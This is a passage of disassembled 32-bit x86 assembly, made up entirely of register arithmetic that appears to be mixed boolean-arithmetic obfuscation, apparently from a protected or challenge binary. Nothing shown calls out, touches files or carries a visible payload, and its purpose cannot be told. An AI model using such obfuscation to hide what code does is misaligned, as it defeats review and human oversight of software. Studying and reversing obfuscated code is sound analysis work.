imul eax, eax, 0xd6acbcbe
mov esi, dword [esp + 0x18]
imul ecx, esi, 0x2a840af5
lea edx, [ecx + ecx]
or edx, 0x46376116
sub ecx, edx
imul edx, esi, 0x550815ea
or edx, 0x46376116
add edx, ecx
imul ecx, edx, 0x1afed15d
lea edx, [ecx + 0x241a9d7f]
lea esi, [edx + edx*2]
and edx, 0x241a9d7e
shl edx, 2
sub esi, edx
add ecx, ecx
add ecx, 0x48353afe
xor ecx, 0xb7cac502
lea edx, [esi + ecx]
add ecx, esi
add ecx, 0x241a9d7f
lea esi, [eax - 0x29534342]
and ecx, esi
add edx, ecx
add edx, 0x241a9d7f
lea eax, [eax + edx - 0x29534342]
mov edx, ecx
not edx
mov esi, eax
not esi
and esi, ecx
sub edx, esi
or ecx, eax
add ecx, edx
imul eax, ecx, 0xb9fb870d
add eax, 0x3d4ff4a8
imul ecx, eax, 0x26d09fc5
imul edx, eax, 0xb25ec076
lea esi, [edx + 0x1df3be48]
and esi, 0x3dfc83b8
add esi, ecx
add esi, edx
imul eax, eax, 0x4da13f8a
add eax, 0x220c41b6
or eax, 0xc2037c46
lea ecx, [eax + esi]
add ecx, 0x8ffb9d49
imul eax, ecx, 0x44185133
imul edx, ecx, 0xbbe7aecd
lea esi, [eax + 1]
lea ecx, [edx + eax]
add ecx, 1
mov edi, edx
or edi, esi
add edi, ecx
mov ecx, edx
xor ecx, esi
not ecx
add ecx, edi
and edx, esi
sub ecx, edx
mov edx, eax
not edx
add edx, ecx
add edx, 1
add ecx, 1
sub eax, ecx
lea eax, [eax + edx*2]
mov ecx, eax
or ecx, 1
or eax, 0xfffffffe
add eax, ecx
imul eax, eax, 0x441d5de3
lea ecx, [eax - 0x77c5443a]
mov edx, ecx
not edx
xor ecx, 0x7ade9d5e
add ecx, eax
add ecx, 0x883abbc6
and edx, 0x52162a1
lea ecx, [ecx + edx*2]
add eax, ecx
add eax, 0x883abbc6
imul eax, eax, 0xf4c4cfcb
mov ecx, 0x8efac955
sub ecx, eax
and ecx, 0x7c423476
add ecx, eax
lea edx, [eax - 0xefac956]
and edx, 0x83bdcb89
add eax, edx
add eax, 0xf10536aa
sub eax, ecx
imul eax, eax, 0x349e74fb
lea ecx, [eax - 0x522a8248]
mov edx, 0x522a8247
sub edx, eax
mov esi, edx
and esi, 0x9b294e17
add eax, esi
add eax, 0xadd57db8
xor ecx, 0x64d6b1e8
add ecx, eax
or edx, 0x9b294e17
sub ecx, edx
imul eax, ecx, 0xca197633
add eax, 0xb9782895
mov ecx, eax
or ecx, 0x4687d76b
mov edx, eax
not edx
or edx, 0x4687d76b
add edx, ecx
sub edx, eax
lea eax, [edx - 0x6ea0e984]
mov ecx, eax
xor ecx, 0xe1913aaf
add ecx, edx
mov edx, eax
not edx
and edx, 0x1e6ec550
add edx, ecx
and eax, 0xe1913aaf
lea ecx, [eax + edx]
add ecx, 0x72f0512c
imul eax, ecx, 0xae2c11fb
mov edi, eax
not edi
mov esi, eax
and esi, 0xd94aef93
imul ebp, ecx, 0xa8435f1
imul edx, ecx, 0x5c5823f6
mov ebx, edx
not ebx
and ebx, 0x4d6a20d8
add ebx, ebp
mov ecx, eax
or ecx, 0x26b5106c
add esi, ecx
sub ebx, esi
and edi, 0x26b5106c
add edi, eax
mov esi, eax
xor esi, 0x26b5106c
add esi, edi
sub esi, ecx
add esi, ebx
mov edi, eax
or edi, 0xd94aef93
mov ebx, eax
xor ebx, 0xd94aef93
add ebx, edi
or edx, 0x4d6a20d8
add edx, ebx
not ecx
add ecx, edx
sub ecx, eax
add ecx, 2
mov eax, esi
sub eax, ecx
mov edx, esi
or edx, ecx
lea eax, [eax + edx*2]
not esi
or esi, ecx
lea ecx, [eax + esi*2]
lea eax, [eax + esi*2]
add eax, 2
mov edx, eax
not edx
and edx, 1
add ecx, edx
add ecx, 2
or eax, 0xfffffffe
add eax, ecx
add eax, 0x5dabb965
mov ecx, eax
or ecx, 0xa254469d
or eax, 0x5dabb962
lea edx, [ecx + eax]
add eax, ecx
add eax, 0xa254469e
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc95122fd
add edx, esi
add edx, 0xa254469e
and ecx, 0x36aedd02
add ecx, edx
xor eax, 0xc95122fd
lea edx, [ecx + eax]
add ecx, eax
add ecx, 0xccbcfe33
mov eax, ecx
xor eax, 0x69f1ded0
add eax, edx
or ecx, 0x960e212f
add ecx, eax
mov edi, 0x334301cc
sub edi, edx
or edi, 0x69f1ded0
lea esi, [ecx + edi]
lea ebx, [edi + ecx]
add ebx, 0x36aedd03
lea eax, [edi + ecx + 0x36aedd05]
lea edx, [edi + ecx]
add edx, 0xff9cc99
lea ecx, [esi + esi]
add ecx, 0x6d5dba06
mov edi, 0x7ffffffa
sub edi, ecx
and edi, 0x4d6a20d8
mov ecx, eax
or ecx, 0xd94aef93
add edi, ecx
add edi, ebx
add edi, 4
mov ebp, edx
xor ebp, edi
add ebp, edx
add ebp, edi
mov ebx, edx
or ebx, edi
not ebx
add ebx, ebp
and edx, edi
add edx, ebx
lea edi, [esi + esi]
add edi, 0x6d5dba0a
mov esi, edi
xor esi, 0xb295df27
mov ebx, eax
xor ebx, 0x26b5106c
add ebx, esi
lea esi, [edx + ebx]
add edx, ebx
add edx, 1
mov ebx, eax
and ebx, 0x26b5106c
and edi, 0xb295df26
add edi, ebx
mov ebx, eax
xor ebx, 0xd94aef93
add ebx, edi
or eax, 0x26b5106c
sub eax, ebx
add ecx, eax
add ecx, 0xd94aef93
and edx, ecx
lea eax, [edx + esi]
add eax, 1
add eax, ecx
sub eax, edx
mov ecx, eax
and ecx, 1
lea ecx, [ecx + eax*2]
xor ecx, 1
mov edx, eax
or edx, 0xfffffffe
add edx, ecx
not eax
add eax, edx
imul ecx, eax, 0x72d8794b
lea eax, [ecx + 0x58896be1]
mov edx, eax
and edx, 0x95d22bdd
mov esi, 0xa776941e
sub esi, ecx
and esi, 0x6a2dd422
or esi, edx
mov ecx, eax
or ecx, 0x95d22bdd
add ecx, esi
and eax, 0x6a2dd422
add eax, ecx
add eax, 0x6a2dd423
mov dword [esp + 0x14], eax
mov edx, dword [esp + 0x8c]
mov eax, edx
not eax
mov dword [esp + 8], eax
lea eax, [edx + eax*2]
add eax, 1
mov ecx, edx
mov esi, edx
neg ecx
mov edx, eax
not edx
and edx, ecx
lea edx, [edx + eax*2]
or ecx, eax
mov dword [esp + 0x18], esi
add ecx, esi
sub edx, ecx
add edx, esi
imul eax, edx, 0x624f9341
mov ecx, eax
not ecx
imul edx, edx, 0xc49f2682
and ecx, 0xbb50890e
add ecx, edx
or eax, 0xbb50890e
sub ecx, eax
add ecx, 0xbb50890e
imul edx, ecx, 0x1f8efcc1
mov ebx, edx
not ebx
imul ecx, ecx, 0x3f1df982
and ecx, 0x9335c8e4
add ecx, edx
and ebx, 0xc99ae472
add ebx, ecx
or edx, 0x36651b8d
sub ebx, edx
lea esi, [ebx + 0x36651b8d]
mov dword [esp + 0xc], esi
or esi, 0x2ef4174a
lea edi, [ebx + ebx]
add edi, 0x6cca371a
or edi, 0x5de82e94
sub edi, esi
not esi
mov eax, edi
not eax
lea ecx, [esi + esi]
mov ebp, ecx
and ebp, eax
mov edx, edi
sub edx, ebp
lea edx, [edx + esi*2]
xor edi, ecx
add edi, edx
or eax, ecx
lea ecx, [edi + eax]
add eax, edi
add eax, 1
and eax, 0x2ef4174b
add ecx, eax
add ecx, 1
xor eax, 0x2ef4174b
add eax, ecx
mov ecx, dword [esp + 0xc]
not ecx
lea ecx, [ebx + ecx*2]
add ecx, 0x36651b8d
not ecx
add ecx, eax
imul eax, ecx, 0xf05ff4dd
mov edx, eax
and edx, 0xb3c18a4b
imul esi, ecx, 0xd11fde97
imul ecx, ecx, 0xe0bfe9ba
not ecx
and ecx, 0x987ceb68
add ecx, esi
or eax, 0x4c3e75b4
add eax, edx
sub ecx, eax
imul edx, ecx, 0x7b88375
mov eax, edx
not eax
imul ecx, ecx, 0xf7106ea
and eax, 0xabd918bc
add eax, ecx
or edx, 0xabd918bc
sub eax, edx
mov ebx, dword [esp + 0x18]
mov edx, ebx
and edx, 0xd10be8b5
mov ecx, edx
xor ecx, 0xd10be8b5
add ecx, edx
mov edx, ebx
or edx, 0xd10be8b5
sub ecx, edx
sub ecx, edx
add ecx, edx
mov edx, ebx
and edx, 0x2ef4174a
lea esi, [ebx + ebx]
or esi, 0x5de82e94
add esi, edx
mov ebp, dword [esp + 8]
mov edx, ebp
add edx, ebp
lea edi, [ebx + ecx]
add edi, 1
or edx, 0x5de82e94
lea ecx, [edx + esi]
add ecx, 0xa217d16e
mov edx, edi
neg edx
and edx, ecx
add edx, edi
add edx, 0xffffffff
lea esi, [edi - 1]
add edx, ecx
not ecx
or ecx, esi
add ecx, edx
mov edi, ebp
mov edx, ebp
and edx, 0x2ef4174a
mov esi, ebx
xor esi, 0xd10be8b5
add esi, edx
mov edx, ebp
mov ebx, ebp
and edx, 0xd10be8b5
or edi, 0x2ef4174a
add edi, edx
sub esi, edi
add esi, ecx
add esi, ebp
imul ecx, esi, 0xb316527d
lea edx, [ecx - 0x27eac0a5]
mov esi, edx
xor esi, 0xec5052a4
add ecx, esi
add ecx, 0xd8153f5b
mov esi, edx
or esi, 0x13afad5b
add esi, ecx
not edx
or edx, 0xec5052a4
add edx, esi
imul ecx, edx, 0x3cd336d5
mov edx, 0x68ea37e1
sub edx, ecx
and edx, 0xe290a58c
add edx, ecx
add edx, 0x1d6f5a74
mov esi, 0xe8ea37e1
sub esi, ecx
or esi, 0xe290a58c
add esi, edx
mov ebp, dword [esp + 0x14]
imul ebx, ebp, 0xd044863
add eax, 0xabd918bc
not esi
add ecx, esi
add ecx, 0xe290a58c
or ecx, eax
lea eax, [ecx + 0x655e5f52]
mov edx, eax
xor edx, 0x9aa1a0ae
add edx, ecx
mov ecx, eax
not ecx
and ecx, 0x655e5f51
add ecx, edx
and eax, 0x9aa1a0ae
add ecx, eax
add ecx, 1
xor ecx, 0xd10be8b5
imul eax, ecx, 0x8e4e01a1
imul ecx, ecx, 0x1c9c0342
and ecx, 0xd8798ba4
add ecx, eax
mov edx, eax
xor edx, 0xec3cc5d2
add edx, ecx
mov edi, eax
not edi
and edi, 0xec3cc5d2
add edi, edx
or eax, 0xec3cc5d2
sub edi, eax
mov ecx, 0xfdea9925
mov dword [esp + 0x30], ebx
sub ecx, ebx
mov dword [esp + 0x20], ecx
lea eax, [ecx + ecx*2]
lea eax, [eax + ebx*2]
add eax, 0x42acdb4
add eax, ecx
imul edx, ebp, 0x1a0890c6
mov dword [esp + 0x80], edx
add eax, edx
add eax, 0x42acdb4
imul esi, ebp, 0xf2fbb79d
mov dword [esp + 0x84], esi
add eax, esi
add eax, 0xc2620a87
mov esi, eax
or esi, 0x3b888ea2
or eax, 0xc477715d
lea ecx, [esi + eax]
add ecx, 0x3b888ea3
add edi, 0x2786745b
imul eax, edi, 0x81fa2261
mov ebx, 0xe7a5050b
sub ebx, eax
mov esi, ebx
xor ebx, 0xfffffffe
sub ebx, eax
add eax, 0x185afaf4
or eax, 1
sub ebx, eax
not esi
or esi, 0xfffffffe
add esi, ebx
imul eax, edi, 0xfc0bbb3e
imul edi, edi, 0x3f444c2
add edi, eax
lea eax, [esi + edi]
lea ebx, [esi + edi]
add ebx, 0xe7a5050e
mov esi, ecx
or esi, ebx
add eax, esi
add eax, 0xe7a5050e
mov edi, ebx
not edi
or edi, ecx
add edi, eax
mov esi, ecx
and esi, ebx
xor ecx, ebx
mov eax, ecx
not eax
lea ebx, [eax + eax]
lea ecx, [ebx + ecx*2]
add ecx, eax
sub edi, esi
lea eax, [ecx + edi*2]
lea ecx, [ecx + edi*2]
add ecx, 4
mov edi, esi
not edi
add eax, edi
add eax, 4
sub esi, ecx
and esi, 2
lea ecx, [esi + eax*2]
or eax, 2
sub ecx, eax
lea eax, [ecx - 0x55fa1493]
mov esi, eax
not esi
and esi, 0x2a05eb6a
add esi, esi
lea edi, [esi + ecx*2]
add edi, 0x540bd6da
mov esi, 0x55fa1492
sub esi, ecx
or esi, 0x55fa1495
sub edi, esi
and eax, 0x55fa1495
lea ecx, [edi + 0x1ee3dc1]
mov esi, eax
sub esi, ecx
sub ecx, eax
not eax
add eax, edi
add eax, 0x1ee3dc1
lea ecx, [ecx + esi*2]
add eax, ecx
lea ecx, [eax + esi*2]
add ecx, 2
add esi, 1
mov edi, eax
or edi, esi
not eax
or eax, esi
add eax, edi
not eax
add eax, ecx
imul eax, eax, 0x41c6b8d7
mov ecx, eax
or ecx, 0xdee121af
add ecx, eax
mov esi, eax
xor eax, 0x211ede50
add eax, ecx
not esi
or esi, 0x211ede50
add esi, eax
imul eax, esi, 0xbc55bae7
lea ecx, [eax - 0x249aff49]
mov esi, ecx
and esi, 0x62b98ae8
add eax, esi
add eax, 0xdb6500b7
mov esi, ecx
xor esi, 0x62b98ae8
add esi, eax
or ecx, 0x62b98ae8
sub esi, ecx
imul eax, esi, 0x549f1d9
lea ecx, [eax + 0x7b82e77f]
mov esi, ecx
or esi, 0x30309f4f
add eax, esi
add eax, 0x7b82e77f
not ecx
or ecx, 0x30309f4f
add ecx, eax
add ecx, 1
imul eax, ecx, 0xfc248197
add eax, 0x9625e9c1
imul esi, ecx, 0x7b6fcd2
add esi, 0xd3b42c7c
and esi, 0xa3929f4c
lea ecx, [eax + eax*2]
add esi, ecx
mov ecx, eax
and ecx, 0xae36b059
or eax, 0x51c94fa6
add eax, ecx
sub esi, eax
lea eax, [esi + 1]
lea ecx, [esi + esi]
add ecx, 0xffffffff
and ecx, eax
lea edi, [esi + esi]
sub ecx, edi
add ecx, esi
add ecx, 1
mov eax, 0xfffffffe
sub eax, esi
neg edi
or eax, edi
add eax, ecx
mov ecx, eax
not ecx
lea esi, [eax + ecx*2]
add esi, 1
and esi, 0xd96dcc34
lea ecx, [eax + eax]
mov edi, ecx
xor edi, esi
lea ebx, [esi + eax*2]
add edi, ebx
mov ebx, ecx
or ebx, esi
not ebx
add ebx, edi
and esi, ecx
lea ecx, [ebx + esi]
add esi, ebx
add esi, 1
mov edi, esi
xor edi, 0x269233cc
add ecx, edi
add ecx, 1
xor esi, 0xd96dcc33
add esi, ecx
or eax, 0xd96dcc34
sub esi, eax
add esi, 0x269233cd
imul eax, esi, 0x2f3c0fbb
imul ecx, esi, 0x5e781f76
and ecx, 0x1cb21b46
add ecx, eax
mov esi, eax
xor esi, 0xe590da3
add esi, ecx
mov ecx, eax
not ecx
and ecx, 0xe590da3
add ecx, esi
or eax, 0xe590da3
sub ecx, eax
imul eax, ecx, 0xfb0a5d73
mov ecx, 0x25535738
sub ecx, eax
add eax, 0xdaaca8c7
mov esi, eax
mov ebx, dword [esp + 0x20]
and esi, ebx
mov edx, dword [esp + 0x30]
lea ebp, [edx + 0x21566da]
and ecx, ebp
add ecx, esi
add ecx, edx
add ecx, 0x21566da
mov esi, eax
or esi, ebx
add esi, ecx
and eax, ebp
lea ecx, [eax + esi]
add eax, esi
add eax, 1
mov esi, eax
and esi, 0x269233cb
add ecx, esi
add ecx, 1
mov esi, eax
and eax, 0xd96dcc34
mov edi, eax
xor edi, 0xd96dcc34
add edi, ecx
not esi
and esi, 0x269233cb
add esi, edi
lea ecx, [esi + eax]
mov dword [esp + 0x40], ecx
add eax, esi
add eax, 0xd96dcc35
mov dword [esp + 0x88], eax
mov esi, dword [esp + 0x80]
lea eax, [esi + 0x42acdb4]
and eax, ebp
add eax, eax
sub eax, esi
sub eax, edx
imul ecx, dword [esp + 0x14], 0x3411218c
add ecx, eax
mov eax, 0x7bd5324b
sub eax, esi
mov esi, ebx
or eax, ebx
lea edx, [ecx + eax*2]
lea eax, [ecx + eax*2]
add eax, 0x21566dc
and eax, ebx
add edx, eax
add edx, 0x21566dc
add edx, ebx
sub edx, eax
mov esi, dword [esp + 0x84]
lea ecx, [edx + esi]
add ecx, 0xfdea9926
add ecx, esi
mov eax, 0x21566d9
sub eax, esi
or eax, edx
add eax, ecx
lea ecx, [esi - 0x21566da]
and ecx, edx
sub eax, ecx
add eax, 0xfdea9927
mov ecx, eax
or ecx, 0x2c1fae2c
xor eax, 0xd3e051d3
add eax, ecx
imul eax, eax, 0xa4d47e19
lea ecx, [eax - 0x5b2b81e7]
mov edx, ecx
or edx, 0xa4ec7c30
add edx, eax
mov eax, ecx
xor eax, 0x5b1383cf
add eax, edx
and ecx, 0xa4ec7c30
sub eax, ecx
mov ecx, ebp
and ecx, 0xd3e051d3
mov edx, ecx
not edx
lea edx, [ecx + edx*2]
lea esi, [edx + ecx*2]
lea edx, [edx + ecx*2]
add edx, 2
mov edi, ebp
and edi, 0x2c1fae2c
mov ecx, edx
not ecx
lea ebx, [edi - 1]
and ecx, ebx
or edx, ebx
lea ecx, [ecx + esi*2]
add ecx, 4
add edx, edi
sub ecx, edx
mov edx, ecx
mov edi, ebp
mov dword [esp + 0xc], ebp
and edx, ebp
mov ebp, dword [esp + 0x30]
add edx, ebp
add edx, 0x21566da
mov esi, ecx
xor esi, edi
add esi, edx
or ecx, dword [esp + 0x20]
add ecx, esi
mov edx, edi
not edx
mov esi, edi
or esi, 0xd3e051d3
and edx, 0x2c1fae2c
lea edx, [esi + edx*2]
add edx, ebp
sub ecx, edx
mov edx, 0xd818f99e
sub edx, ecx
mov esi, edx
and esi, 0x22340f1
add esi, ecx
add esi, 0x27e70661
add ecx, 0x27e70661
xor ecx, 0xfddcbf0e
add ecx, esi
or edx, 0x22340f1
sub ecx, edx
imul esi, eax, 0xd113fe29
add ecx, 0x22340f1
mov eax, ecx
not eax
lea edi, [esi - 0x2eec01d6]
mov ebx, edi
and ebx, eax
mov edx, edi
or edx, ecx
add ebx, edx
xor ecx, edi
not ecx
add ecx, ebx
or edi, eax
sub ecx, edi
mov edi, 0x2eec01d5
sub edi, esi
lea ebp, [edi + esi*2]
add ebp, 0xa227fc54
lea ebx, [ecx + ebp]
add ecx, ebp
add ecx, 1
and eax, edi
add eax, esi
add eax, 0xd113fe2a
lea esi, [edx + ebx]
add esi, 1
add eax, edx
not edx
mov edi, ecx
or edi, edx
add edi, esi
not ecx
or ecx, edx
add ecx, edi
sub ecx, eax
mov eax, 0x3b84be41
sub eax, ecx
and eax, 0x3b84be43
lea edi, [eax + ecx*2]
add edi, 0x88f6837c
lea eax, [ecx - 0x3b84be42]
or eax, 0x3b84be43
sub edi, eax
mov esi, 0xc47b41bd
sub esi, edi
lea ecx, [edi + 0x3b84be43]
mov edx, ecx
xor edx, 0xd3e051d3
lea eax, [edi + edi]
add eax, 0x77097c86
mov ebx, edx
sub ebx, eax
or edx, esi
not edx
add edx, ebx
mov ebx, ecx
xor ebx, 0x2c1fae2c
or ebx, esi
sub edx, ebx
or eax, 0xa7c0a3a6
sub eax, ecx
or ecx, 0xd3e051d3
mov esi, ecx
not esi
add eax, esi
lea ebx, [edi + eax]
add ebx, 0x3b84be44
mov eax, edx
and eax, ebx
add eax, eax
lea ebp, [edx + edx]
sub ebp, eax
lea eax, [ebx*2]
add eax, ebp
xor edx, ebx
sub eax, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, esi
xor ecx, eax
add ecx, ebx
add eax, esi
sub eax, ecx
or edx, esi
add edx, eax
lea eax, [edi + 0x3b84be44]
mov ecx, edx
and ecx, eax
add ecx, edx
lea esi, [edi + ecx]
add esi, 0x3b84be44
mov ecx, edx
xor ecx, eax
add ecx, esi
or edx, eax
sub ecx, edx
lea eax, [ecx + 0x5b52c1ea]
add ecx, ecx
mov edx, 0x495a7c2a
sub edx, ecx
and edx, 0x495a7c2c
lea ecx, [eax + eax*2]
add edx, ecx
mov ecx, eax
and ecx, 0x5b52c1e9
or eax, 0xa4ad3e16
add eax, ecx
not edx
add edx, eax
imul ebp, edx, 0xa1e5dcc1
mov ecx, ebp
not ecx
mov edx, ebp
and edx, 0xe0086f09
add edx, ebp
and ecx, 0x1ff790f6
add ecx, edx
xor ebp, 0xe0086f09
add ebp, ecx
mov eax, dword [esp + 8]
imul ecx, eax, 0x3cd62a7d
mov edx, ecx
not edx
mov esi, edx
and esi, 0xea5a0b97
imul edi, eax, 0x79ac54fa
add esi, edi
or ecx, 0x15a5f468
add ecx, esi
add ecx, edx
imul ecx, ecx, 0x70641ed5
mov edx, 0xfdf46bb2
sub edx, ecx
add ecx, 0x20b944d
mov esi, ecx
and esi, 0x214356a2
and edx, 0xdebca95d
or edx, esi
mov esi, ecx
or esi, 0x214356a2
add esi, edx
and ecx, 0xdebca95d
lea edx, [esi + ecx]
mov dword [esp + 0x14], edx
add ecx, esi
add ecx, 0xdebca95e
imul edi, ebp, 0x5548b341
mov esi, 0xaab74cbe
sub esi, edi
mov eax, esi
and eax, ecx
or esi, ecx
add esi, esi
add edx, eax
add edx, 0xdebca95e
mov ebx, esi
sub ebx, edx
sub ebx, esi
mov edx, dword [esp + 0x14]
lea esi, [ebx + edx]
add esi, 0xdebca95e
lea edx, [edi + 0x5548b341]
mov edi, ecx
not edi
and edi, edx
or edi, eax
mov eax, edx
and eax, ecx
add eax, edi
add eax, esi
xor edx, ecx
add edx, eax
imul eax, ebp, 0xaab74cbf
add eax, 0xaab74cbe
or eax, ecx
lea ecx, [edx + eax]
add eax, edx
add eax, 1
mov edx, eax
not edx
add edx, edx
sub edx, eax
lea eax, [edx + ecx*2]
add eax, 2
lea ecx, [eax + eax]
add ecx, 2
sub ecx, eax
add ecx, 0xfffffffe
mov edx, ecx
xor edx, 1
add eax, edx
add eax, 1
xor ecx, 0xfffffffe
lea edx, [eax + ecx]
add eax, ecx
add eax, 0x633aa82a
mov esi, eax
or esi, 0x9cc557d7
add esi, edx
mov ecx, eax
xor ecx, 0x633aa828
add ecx, esi
and eax, 0x9cc557d7
sub ecx, eax
lea eax, [ecx + 2]
lea ebx, [ecx + ecx]
add ebx, 4
mov edx, eax
sub edx, ebx
mov esi, ebx
neg esi
add edx, ecx
add edx, 2
lea edx, [edx + ecx*2 + 4]
mov edi, edx
not edi
mov ebp, esi
and ebp, edi
add ebp, edx
sub ebp, ebx
xor edx, esi
not edx
add edx, ebp
or edi, esi
sub edx, edi
mov esi, 0xfffffffe
sub esi, ecx
mov ecx, edx
or ecx, esi
mov edi, edx
xor edi, esi
and esi, edx
sub edx, eax
add ecx, edx
not edi
add edi, ecx
not esi
add esi, edi
imul eax, esi, 0x32024ae7
lea ecx, [eax + 0x640495ce]
mov edx, ecx
and edx, 0xd491549e
add eax, edx
add eax, 0x640495ce
mov edx, ecx
xor edx, 0xd491549e
add edx, eax
or ecx, 0xd491549e
sub edx, ecx
imul eax, edx, 0xe3c928d7
mov edi, dword [esp + 0x88]
mov edx, edi
not edx
and edx, eax
mov ebx, dword [esp + 0x40]
lea ecx, [ebx + ebx]
add ecx, 0xb2db986a
mov esi, ecx
not ecx
and ecx, edx
lea ecx, [ecx + ebx*4]
add ecx, 0x65b730d4
or esi, edx
add ecx, edx
add esi, eax
sub ecx, esi
mov edx, edi
or edx, eax
mov eax, edx
mov esi, edx
neg eax
mov edx, ecx
not edx
and edx, eax
lea edx, [edx + ecx*2]
or eax, ecx
add eax, esi
sub edx, eax
imul eax, edx, 0xe7a21cf9
mov ecx, eax
not ecx
imul edx, edx, 0xcf4439f2
and edx, 0x8719cbc8
add edx, eax
and ecx, 0x438ce5e4
add ecx, edx
or eax, 0xbc731a1b
sub ecx, eax
add ecx, 0xbc731a1b
imul edx, ecx, 0xfc8c1ab7
imul eax, ecx, 0x373e549
lea esi, [eax - 0x3e3e8204]
lea edi, [edx + 0x3e3e8204]
mov ebx, esi
and ebx, edi
add ebx, eax
add ebx, 0xc1c17dfc
add ebx, edx
add ebx, 0x3e3e8204
mov edx, esi
xor edx, edi
add edx, ebx
or esi, edi
sub edx, esi
imul esi, ecx, 0xf918356e
mov ecx, 0x8382fbf7
sub ecx, esi
add esi, 0x7c7d0408
and ecx, edx
mov edi, edx
not edi
and edi, esi
or esi, edx
add esi, ecx
lea ecx, [edx + edx*2]
lea ecx, [ecx + edi*2]
sub ecx, esi
mov edx, ecx
not edx
lea esi, [eax - 0x3e3e8203]
and edx, esi
add edx, ecx
add eax, edx
add eax, 0xc1c17dfd
or esi, ecx
sub eax, esi
sub eax, esi
add eax, esi
lea edx, [eax + ecx]
add eax, ecx
add eax, 1
lea ecx, [edx + edx]
add ecx, 2
or ecx, 0xfffffffc
add ecx, edx
add ecx, 1
not eax
add eax, eax
or eax, 0xfffffffc
add eax, ecx
imul ecx, eax, 0x293b40eb
lea eax, [ecx - 0x5b12fc54]
mov edx, eax
not edx
and edx, 0xa4f093bb
add ecx, edx
add ecx, 0xa4ed03ac
or eax, 0x5b0f6c44
add eax, ecx
mov ecx, 0xb274f1d3
mov esi, dword [esp + 0x18]
sub ecx, esi
mov edx, ecx
and edx, 0xb274f1d2
add edx, ecx
lea edi, [esi + 0x4d8b0e2c]
and edi, 0x4d8b0e2d
add edi, edx
xor ecx, 0xb274f1d2
lea ebx, [edi + ecx]
add ecx, edi
add ecx, 0x4d8b0e2e
mov dword [esp + 0x14], ecx
imul esi, eax, 0xaa7d67c3
mov ecx, 0x5582983c
sub ecx, esi
mov edx, 0xb274f1d2
sub edx, ebx
lea ebp, [ecx + esi*2]
add ebp, 0x54facf86
mov edi, 0xfffffffe
sub edi, ebp
mov eax, edi
and eax, edx
or edi, edx
add eax, ebx
add edi, ebp
mov edx, ebp
sub edx, eax
sub edx, ebx
add esi, 0xaa7d67c3
mov eax, edi
not eax
add eax, edx
add eax, 0x64e9e3a4
add edx, 0x64e9e3a4
or esi, dword [esp + 0x14]
mov ebx, edi
sub ebx, edx
lea ebp, [esi + esi]
add ebp, 2
and ebx, ebp
lea ebx, [eax + ebx*2]
lea ebx, [ebx + esi*2]
add ebx, 2
or ebp, eax
sub ebx, ebp
add esi, esi
mov ebp, 0xfffffffd
sub ebp, esi
or ebp, eax
add ebp, ebx
sub edx, edi
add edx, ebp
or ecx, dword [esp + 0x14]
lea eax, [edx + ecx*2]
lea ecx, [edx + ecx*2]
add ecx, 0xffffffff
mov edx, eax
neg edx
mov esi, eax
not esi
and edx, esi
lea edx, [edx + eax*2]
sub edx, eax
or ecx, eax
add ecx, edx
add ecx, esi
add ecx, esi
imul eax, ecx, 0xa86022bb
lea ecx, [eax - 0x6df97cf]
lea edx, [ecx + ecx*2]
and ecx, 0x2770673e
shl ecx, 2
sub edx, ecx
add eax, eax
add eax, 0xf240d062
xor eax, 0x311f3182
add eax, edx
imul ecx, eax, 0xbb49d273
lea eax, [ecx + 0x22270f4d]
mov edx, eax
and edx, 0xddd8f0b2
add ecx, edx
add ecx, 0x22270f4d
mov edx, eax
and eax, 0x22270f4d
mov esi, eax
xor esi, 0x22270f4d
add esi, ecx
not edx
and edx, 0xddd8f0b2
add edx, esi
lea ecx, [edx + eax]
mov dword [esp + 0x40], ecx
add eax, edx
add eax, 0x22270f4e
mov dword [esp + 0x14], eax
mov ebx, dword [esp + 0xc]
mov eax, ebx
mov ebp, dword [esp + 0x18]
and eax, ebp
mov edx, ebx
mov ecx, dword [esp + 8]
and edx, ecx
mov esi, edx
neg esi
or esi, eax
sub esi, edx
add edx, 0xffffffff
or edx, eax
add edx, esi
mov esi, ebx
or esi, ebp
mov edi, ebx
or edi, ecx
sub esi, ebp
sub esi, edi
add esi, edx
mov edx, ebx
xor edx, ebp
add edi, edx
mov ebx, dword [esp + 0x20]
mov eax, ebx
or eax, ecx
add eax, ebp
sub edi, eax
or ebx, ebp
add ebx, edi
lea eax, [esi + ebx]
add eax, 1
imul esi, eax, 0xa824ddde
mov edi, esi
and edi, 0x920b0e3a
imul ebx, eax, 0xabed9111
add ebx, edi
add ebx, esi
imul esi, eax, 0x54126eef
not esi
add esi, esi
or esi, 0x6df4f1c4
add esi, ebx
lea eax, [edx + 0x7ee2c0e1]
mov edi, eax
or edi, 0x7ee2c0e0
add edi, edx
and eax, 0x811d3f1f
sub edi, eax
imul eax, esi, 0xdbcc800f
add eax, 0xb799001e
add edi, 0x811d3f20
or edi, eax
imul eax, edi, 0xb6296c81
mov edx, eax
xor edx, 0x5ed112c7
add edx, eax
xor eax, 0xa12eed38
lea ecx, [eax + edx]
add ecx, 0x5ed112c7
imul eax, ecx, 0x72bd51a5
lea edx, [eax - 0x3a9aff79]
mov esi, edx
and esi, 0x2e8b003a
add eax, esi
add eax, 0xc5650087
mov esi, edx
xor esi, 0x2e8b003a
add esi, eax
or edx, 0x2e8b003a
sub esi, edx
imul esi, esi, 0x13c6a453
lea eax, [esi + esi]
or eax, 0x9fed10a2
mov edx, esi
or edx, 0xcff68851
sub eax, edx
mov edx, esi
or edx, 0x300977ae
add edx, eax
mov eax, esi
not eax
mov ebx, eax
and ebx, 0xcff68851
and esi, 0xcff68851
lea esi, [esi + ebx*2]
mov ebx, eax
or ebx, 0xcff68851
add ebx, esi
or eax, 0x300977ae
sub ebx, eax
lea eax, [ebx + edx]
add edx, ebx
add edx, 0x6012ef5d
add eax, eax
add eax, 0xc025deba
sub eax, edx
add eax, 2
imul esi, eax, 0x24a60c17
mov edi, esi
not edi
imul eax, eax, 0x494c182e
and edi, 0x595dd963
add edi, eax
or esi, 0x595dd963
sub edi, esi
imul ebp, ecx, 0x1fb2d381
imul esi, ecx, 0xc09a58fe
lea ebx, [esi + 0x42ff4f8a]
and ebx, 0x6012ef5c
lea eax, [ebp + 0x1e80583a]
and eax, 0x300977ae
mov dword [esp + 0x18], eax
add ebx, eax
mov eax, 0x300977ae
sub eax, ebx
lea edx, [ebp - 0x217fa7c6]
and edx, 0x300977ae
mov ecx, edx
and ecx, eax
add ecx, edx
add ecx, eax
mov ebx, edx
xor ebx, eax
add ebx, ecx
or eax, edx
sub ebx, eax
